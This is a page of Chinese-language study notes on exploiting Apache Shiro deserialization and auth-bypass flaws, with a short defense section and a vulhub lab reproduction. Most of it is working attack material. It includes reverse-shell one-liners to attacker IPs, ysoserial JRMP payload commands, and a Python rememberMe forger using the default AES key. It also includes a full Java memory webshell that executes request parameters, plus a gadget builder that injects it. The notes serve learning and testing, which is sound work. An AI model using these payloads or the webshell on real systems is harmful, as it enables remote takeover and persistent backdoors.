工具准备

1.java8 C:\Program Files\Java

2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6

3.shiro反序列化 图形化工具

shiro attack2.2 C:\Users\ali\Desktop\tools\shiro_attack_2.2

4.shiro反序列化 命令行工具

C:\Users\ali\Desktop\tools\shiro_tool.jar

一.Shiro-550 CVE-2016-4437

序列化:

在Java中,把Java对象转换为字节序列(json/xml)的过程叫序列化。反过来,把字节序列(json/xml)恢复为Java对象的过程就叫反序列化。

Shiro反序列化:

Apache Shiro框架提供了记住我的功能(RememberMe)省去用户短时间内再次登录输入账号密码的操作,用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

检索RememberMe Cookie的值Base 64解码AES解密(加密密钥硬编码)进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。

特征:

登录页面有记住我,cookie字段有RememberMe key,返回包set-cookie有RememberMe key。

直接发送源数据包,返回的数据包中不存在关键字,可以通过在发送数据包的Cookie中增加字段rememberMe=deleteMe,然后查看返回包中是否存在关键字

另外需要注意的是:只要rememberMe的AES加密密钥泄漏,无论shiro什么版本都会导致反序列化漏洞。

升级shiro版本后仍然存在反序列化漏洞,其原因是使用了开源框架,代码里配置了shiro密钥。关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,即这些密钥的集合,用这些公开的密钥去轮流尝试,若用了开源的框架,而没有修改shiro的密钥,相当于shiro密钥已经泄露。

防御措施

  • 升级Shiro到最新版本(高于1.2.4)

  • WAF拦截Cookie中长度过大的rememberMe值

  • 代码审计,全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

漏洞利用:

https://github.com/feihong-cs/ShiroExploit 这个已经

1.反弹shell

攻击者(Kali)执行以下操作(真实攻击场景需要在VPS上执行)

》》事先开启三个终端

》》nc在81端口上监听shell(终端 1)

》》开启转发,监听19999端口(终端 2)

bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (执行的命令)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i} (对执行的命令进行Base64编码)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i}"
(ysoserial在19999端口监听,绿色的是编码后的执行命令)

》》生成payload(终端 3)

java -jar ysoserial.jar JRMPClient "192.168.159.128:19999" > /tmp/jrmp.ser

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

》》将构造的序列化编码cookie通过登录包发送到服务端(这里必须登录成功状态下)

(成功收到shell)

2.反弹shell

工具:

https://github.com/insightglacier/Shiro_exploit

使用示例:

python shiro_exploit.py -u http://192.168.172.129:8080

1、制作反弹shell代码

监听本地端口

nc -lvp 1234

用base64编码

生成编码:

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

3、使用shiro.py 生成Payload

python shiro.py 192.168.172.133:6666

shiro.py代码如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

4、构造数据包,伪造cookie,发送Payload。

nc监听端口,shell成功反弹:

java监听接口,查看服务器连接情况:

3.写入文件

1、生成poc.ser文件

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

2、使用Shiro内置的默认密钥对Payload进行加密:

java调试:

3、发送rememberMe Cookie,即可成功执行命令。

在目标服务器/tmp目录下,生成success文件。

其他shiro漏洞

二、Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)

2.1 漏洞简介

Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。

2.2 影响版本

Apache Shiro < 1.4.2

2.2 漏洞利用

可视化工具利用。

利用技巧:如果攻击没有生效,尝试删除Cookie中的Jsessionid字段,防止服务端不去处理cookie

三、Shiro权限绕过漏洞(Shiro-682 CVE-2020-1957)

3.1 漏洞介绍

由于Shiro的拦截器和Spring(Servlet)拦截器对于URI模式匹配的差异,导致鉴权问题。

3.2 影响版本

Apache Shiro < 1.5.2

3.3 漏洞利用

可视化工具利用。

四、官方CVE动态

http://shiro.apache.org/

Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721

待学习

五、参考文章

https://blog.csdn.net/weixin_43695820/article/details/123823848

5.1 shiro反序列化的注意事项

由于shiro反序列化需要用到AES加密,而该加密方法的密钥是加解密一致的,所以我们使用shiro反序列化时,AES加密的密钥必须跟服务器一致,所以经常需要盲猜服务器的密钥,好在java开发们一般都不会去修改它,而且常常直接copy论坛和github上的代码,所以可以大量收集各种密钥,然后遍历来完成反序列化漏洞利用。

好在也有很多可以直接上手用的扫描或利用工具,例如xray、https://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack

5.2 shiro反序列化利用--注入内存马

由于shiro作用于中间件的filter环节,所以servlet内存马在访问阶段就被shiro干掉了,不能用。因此必须写入filter内存马,并将其放在shiro的filter前面,以便访问和利用;另外,也可以写入listener内存马,不需要操心filter顺序问题,但可能会影响服务器性能。

这里以listener内存马实验一下,首先是listener内存马部分,编译的话,需要添加tomcat/lib目录下的jar包

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;public class Add extends AbstractTranslet implements ServletRequestListener {String uri;String serverName;StandardContext standardContext;String pwd = "cmdshell";   // 内存马的密码public Object getField(Object object, String fieldName) {Field declaredField;Class clazz = object.getClass();while (clazz != Object.class) {try {declaredField = clazz.getDeclaredField(fieldName);declaredField.setAccessible(true);return declaredField.get(object);} catch (NoSuchFieldException e){}catch (IllegalAccessException e){}clazz = clazz.getSuperclass();}return null;}public Add(String aaa){}public Add() {Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");Object object;for (Thread thread : threads) {if (thread == null) {continue;}if (thread.getName().contains("exec")) {continue;}Object target = this.getField(thread, "target");if (!(target instanceof Runnable)) {continue;}try {object = getField(getField(getField(target, "this$0"), "handler"), "global");} catch (Exception e) {continue;}if (object == null) {continue;}java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");Iterator iterator = processors.iterator();while (iterator.hasNext()) {Object next = iterator.next();Object req = getField(next, "req");Object serverPort = getField(req, "serverPort");if (serverPort.equals(-1)){continue;}org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");this.serverName = (String) getField(serverNameMB, "strValue");if (this.serverName == null){this.serverName = serverNameMB.toString();}if (this.serverName == null){this.serverName = serverNameMB.getString();}org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");this.uri = (String) getField(uriMB, "strValue");if (this.uri == null){this.uri = uriMB.toString();}if (this.uri == null){this.uri = uriMB.getString();}this.getStandardContext();}}if (this.standardContext != null){try {Add addListener = new Add("aaa");standardContext.addApplicationEventListener(addListener);}catch (Exception e){e.printStackTrace();}}}public void getStandardContext() {Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");for (Thread thread : threads) {if (thread == null) {continue;}if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {Object target = this.getField(thread, "target");HashMap children;Object jioEndPoint = null;try {jioEndPoint = getField(target, "this$0");}catch (Exception e){}if (jioEndPoint == null){try{jioEndPoint = getField(target, "endpoint");}catch (Exception e){ return; }}Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");StandardEngine engine = null;try {engine = (StandardEngine) getField(service, "container");}catch (Exception e){}if (engine == null){engine = (StandardEngine) getField(service, "engine");}children = (HashMap) getField(engine, "children");StandardHost standardHost;standardHost = (StandardHost) children.get(this.serverName);if(standardHost == null){Iterator iterator = children.values().iterator();while (iterator.hasNext()){standardHost = (StandardHost) iterator.next();if (standardHost.getName().equals(this.serverName)){break;}if (standardHost.getName().equals("localhost")) {break;}}}try{children = (HashMap) getField(standardHost, "children");Iterator iterator = children.keySet().iterator();while (iterator.hasNext()){String contextKey = (String) iterator.next();if (!(this.uri.startsWith(contextKey))){continue;}StandardContext standardContext = (StandardContext) children.get(contextKey);this.standardContext = standardContext;}}catch (Exception e){e.printStackTrace();}}}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public void Add(String aaa){}@Overridepublic void requestDestroyed(ServletRequestEvent sre) {}@Overridepublic void requestInitialized(ServletRequestEvent sre) {String cmdshell = sre.getServletRequest().getParameter(this.pwd);if (cmdshell != null) {try {Runtime.getRuntime().exec(cmdshell);} catch (IOException e) {e.printStackTrace();}}}
}

然后是构造shiro反序列化利用payload的部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import net.dongliu.commons.Sys;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;public class CommonsBeanutilsShiro {// 反射修改field,统一写成函数,方便阅读代码public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object, value);}// 获取攻击链序列化后的byte数组public static byte[] getPayload() throws Exception {// 创建恶意类,用于报错抛出调用链ClassPool pool = new ClassPool(true);pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\");  // 前面Add类编译出来的Add.class的路径CtClass payload = pool.get("Add");byte[] evilClass = payload.toBytecode();// set fieldTemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});setFieldValue(templates, "_name", "test");setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());// 创建序列化对象
//        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);queue.add("1");queue.add("1");// 修改值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});// 反序列化ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);out1.writeObject(queue);out1.close();return byteArrayOutputStream.toByteArray();}public static void main(String[] args) throws Exception {byte[] payloads = CommonsBeanutilsShiro.getPayload();AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");// 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性ByteSource ciphertext = aes.encrypt(payloads, key);// 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt// 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码System.out.printf(ciphertext.toString());}
}

执行CommonsBeanutilsShiro#main方法,获得payload,用burp发包,这里都比较简单就不截图了,来看看效果:

在/shirodemo/这个uri下,输入任意路径,加参数cmdshell,即可执行命令,由于shiro的作用,执行后又会自动跳到登录页面

六、漏洞复现

打开vulhub docker

6.1漏洞介绍:

shiro/CVE-2016-4437/README.md

# Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。## 漏洞环境执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:```
docker-compose up -d
```服务启动后,访问`http://your-ip:8080`可使用`admin:vulhub`进行登录。## 漏洞复现使用ysoserial生成CommonsBeanutils1的Gadget:```
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
```使用Shiro内置的默认密钥对Payload进行加密:```java
package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;public class TestRemember {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}```发送rememberMe Cookie,即可成功执行`touch /tmp/success`:
如下图:

6.2实际操作:

拉下来

使用` admin : vulhub `进行登录。

可以直接看到,有这个remember me

这里会发送cookie

下载

ysoserial-master-30099844c6-1.jar

https://github.com/daniel-e/data/blob/master/ysoserial-master-30099844c6-1.jar

在这里下载的

放到 E:\000CTF工具\shiro工具汇总\ysoserial-master-30099844c6-1.jar

直接运行:java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

去虚拟机里面

成功生成poc.cer

下一步,正常应该是用shiro的加密方式把我们的poc.cer加密,但是idea出了些问题,搁置。看了下代码,就是把key给base64解密一下,然后对payloads做了AES加密。

package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;public class TestRemember {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}

另外可以注意到line18,这个密钥直接设定成了 kPH+bIxk5D2deZiIxcaaaA==

实际上不止这个密钥,可参考工具提供的字典:win10:C:\Users\ali\Desktop\tools\shiro_attack_2.2\data\shiro_keys.txt

目前是搜集了128个。

win10连不上kali,桥接改NAT,ip:192.168.244.88

用shiro图形化工具:

不知道为何不爆破

http://192.168.244.138:8080/login

重启了工具就好了:

对这个命令执行:

touch 1.txt 或者cat /etc/passwd 可以执行

但是执行 cd /bin 然后再pwd 依然在根目录下。

我的问题

最后:

shiro反序列化漏洞学习(工具+原理+复现)相关推荐

  1. shiro反序列化漏洞的原理和复现

    一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...

  2. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

  3. vulhub复现之shiro反序列化漏洞复现

    目录 什么是shiro? 什么是安全框架? 反序列化与序列化 shiro反序列化漏洞 怎么判断是否存在反序列化漏洞? 什么是shiro? shiro是功能强大且容易使用的java安全框架.shiro可 ...

  4. Shiro反序列化漏洞利用笔记

    Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...

  5. 经典的Shiro反序列化漏洞分析

    更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...

  6. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  7. 4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战

    Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞.尽管该漏洞已经曝光几年,但是在实战中仍然比较实用.花了点 ...

  8. 实战渗透-Shiro反序列化漏洞实例

    0x01.前言 这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点.对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远 ...

  9. shiro反序列化漏洞修复

    文章目录 shiro反序列化漏洞修复 前言 解决方案 shiro反序列化漏洞修复 前言 最近项目在进行安全漏洞扫描的时候,出现一个shiro的反序列化漏洞的问题:目标IP站点存在Apache shir ...

最新文章

  1. 聊一个不常见的面试题:为什么数据库连接池不采用 IO 多路复用?
  2. 高通thermal-engine配置文件格式
  3. python批量删除注释_批量删除C和C++注释
  4. logo、展板、彩页、手提袋总结
  5. 容器和云服务器集群,什么是docker集群与镜像
  6. Python+Selenium学习笔记10 - send_keys上传文件
  7. 用RDLC报表(一)
  8. 理解Asp.Net自定义控件的生命周期
  9. mysql-5.6.40 源码安装(Centos6.6)
  10. Open3d之点云平面分割
  11. java使用httpClient解决外部url请求访问
  12. mysql 、慢查询、到底如何玩
  13. C++仿函数和typename的用法
  14. Android游戏开发LoneBall小游戏
  15. android实现模拟微信调用相机和手机图库更换头像
  16. 【51单片机】蜂鸣器程序
  17. CART剪枝算法详解
  18. 县级智慧城市建设方案_智慧城市建设项目实施方案
  19. 【UE4】多视角相机捕获图像如何同屏拼接在一起
  20. android 拨打电话 发送短信 权限,Android中发送短信和拨打电话

热门文章

  1. python查找第k大的数_寻找数组中第K大的数
  2. 认识微服务(七)之 Zuul 网关
  3. echarts中国地图分七大区
  4. 均值滤波与中值滤波(python实现)
  5. linux 子程序返回错误代码,execvp:在程序中调子程序并获取返回值
  6. 计算机管理恢复分区,如何在Windows中擦除恢复分区 | MOS86
  7. fetch请求cookie设置
  8. c# 获得本地ip地址的三种方法
  9. 如何快速算出一个数有多少个因子(c++)
  10. 使用luac加密lua文件